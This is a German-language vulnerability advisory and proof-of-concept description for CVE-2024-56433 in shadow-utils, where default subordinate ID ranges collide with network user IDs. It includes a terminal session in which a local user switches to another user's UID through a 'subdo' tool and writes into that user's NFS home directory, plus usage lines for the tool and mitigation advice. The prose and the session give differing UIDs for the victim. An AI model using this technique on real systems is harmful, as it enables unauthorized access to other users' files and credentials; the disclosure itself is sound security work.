
Proof-of-Concept-Exploit für CVE-2024-56433, der eine Privilegienausweitung über eine Kollision untergeordneter IDs in shadow-utils demonstriert, um auf Daten anderer Benutzer zuzugreifen.
shadow-utils – Unsichere Standardzuweisung von Subordinations-IDs für lokale Benutzer
Die standardmäßige Zuweisung von Subordinations-IDs birgt das Risiko einer Kollision mit vorhandenen Benutzer-IDs, was potenziell eine willkürliche Änderung von UID/GID und unbefugten Zugriff auf Daten und Netzwerkressourcen ermöglicht.
Basis-Paket: shadow-utils 4.4 – 4.17.0
Bestätigt auf: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Alle aktuellen Versionen von Distributionen, die shadow-utils 4.4 und höher verwenden.
Shadow-utils wird seit Version 4.4 mit einer Standardkonfiguration ausgeliefert, die Subordinations-IDs an lokale Benutzer delegiert.
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN 100000
SUB_UID_MAX 600100000
SUB_UID_COUNT 65536
SUB_GID_MIN 100000
SUB_GID_MAX 600100000
SUB_GID_COUNT 65536
#GRANT_AUX_GROUP_SUBIDS yes
$
Wenn neue lokale Benutzer über eines der shadow-utils-Tools (adduser, useradd und während der Systeminstallation) zum System hinzugefügt werden, erhält jeder Benutzer einen eindeutigen Block von 65.536 UIDs und GIDs, beginnend bei UID/GID 100000. Beispielsweise hat das folgende System zwei lokale Benutzer:
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$
Die Subordinations-ID-Konfiguration delegiert das Nutzungsrecht der angegebenen Bereiche an den Benutzer in einem Benutzer-Namespace und wird am häufigsten für rootless Containerisierung verwendet. Containerisierungs-Dienstprogramme sind jedoch nicht erforderlich, um einen Namespace zu betreten; dies kann auf mehreren Wegen erfolgen, einschließlich der Verwendung der standardmäßigen shadow-utils-Tools 'newuidmap' und 'newgidmap'. Dies ermöglicht es dem Benutzer, sich willkürlich auf die POSIX-Benutzer-ID einer beliebigen ID innerhalb des ihm zugewiesenen Bereichs zu ändern.
Im folgenden Beispiel wurde dem Benutzer Jon – UID/GID 1000 – ein UID/GID-Bereich von 65.536 IDs ab 100000 zugewiesen. Das Netzwerk verfügt über weitere IDs, die über LDAP für zentrales Benutzermanagement und Login konfiguriert sind, wobei sich die Home-Verzeichnisse der Netzwerkbenutzer auf NFS befinden.
UID/GID 108372 gehört dem Netzwerkbenutzer msteph.
Durch Ausnutzung der standardmäßigen Subordinations-UID/GID-Zuweisung, die während einer Installation erstellt wurde, kann der lokale Benutzer zur ID des Netzwerkbenutzers wechseln und dann Zugriff auf das NFS-Home-Verzeichnis erhalten, wobei er Dateien als dieser Benutzer lesen und schreiben kann.
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$
Obwohl NFS als Beispiel verwendet wurde, geht dies über den reinen NFS-Zugriff hinaus. Infrastrukturen, in denen Kerberos-Anmeldeinformationen lokal auf dem System gespeichert sein können, werden gefährdet, da die Anmeldeinformationen vom lokalen System abgegriffen und der Zugriff auf andere kerberisierte Dienste möglich werden kann.
Die SUB_-Einträge in /etc/login.defs sollten entfernt werden. Alle Einträge in /etc/subuid und /etc/subgid, die nicht erwartet werden, sollten ebenfalls entfernt werden.
Der POC zum Ändern von UID/GID auf die gewünschte zugewiesene Subordinations-ID ist als subdo.c und subdo.py beigefügt.
Der POC bildet die innere und äußere ID auf dieselbe ID ab und führt dann setuid() und setgid() auf diese ID innerhalb des Namespace aus, was bedeutet, dass alle Befehle, die in der Shell innerhalb des Namespace ausgeführt werden, nun als diese uid/gid auf dem Host ausgeführt werden.
Ermöglicht die Ausführung beliebiger Befehle und Argumente als gewünschte Subordinations-UID/GID.
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example:
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Führt /bin/bash als gewünschte Subordinations-UID/GID aus.
Usage: ./subdo.py -u $uid -g $gid
Example:
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$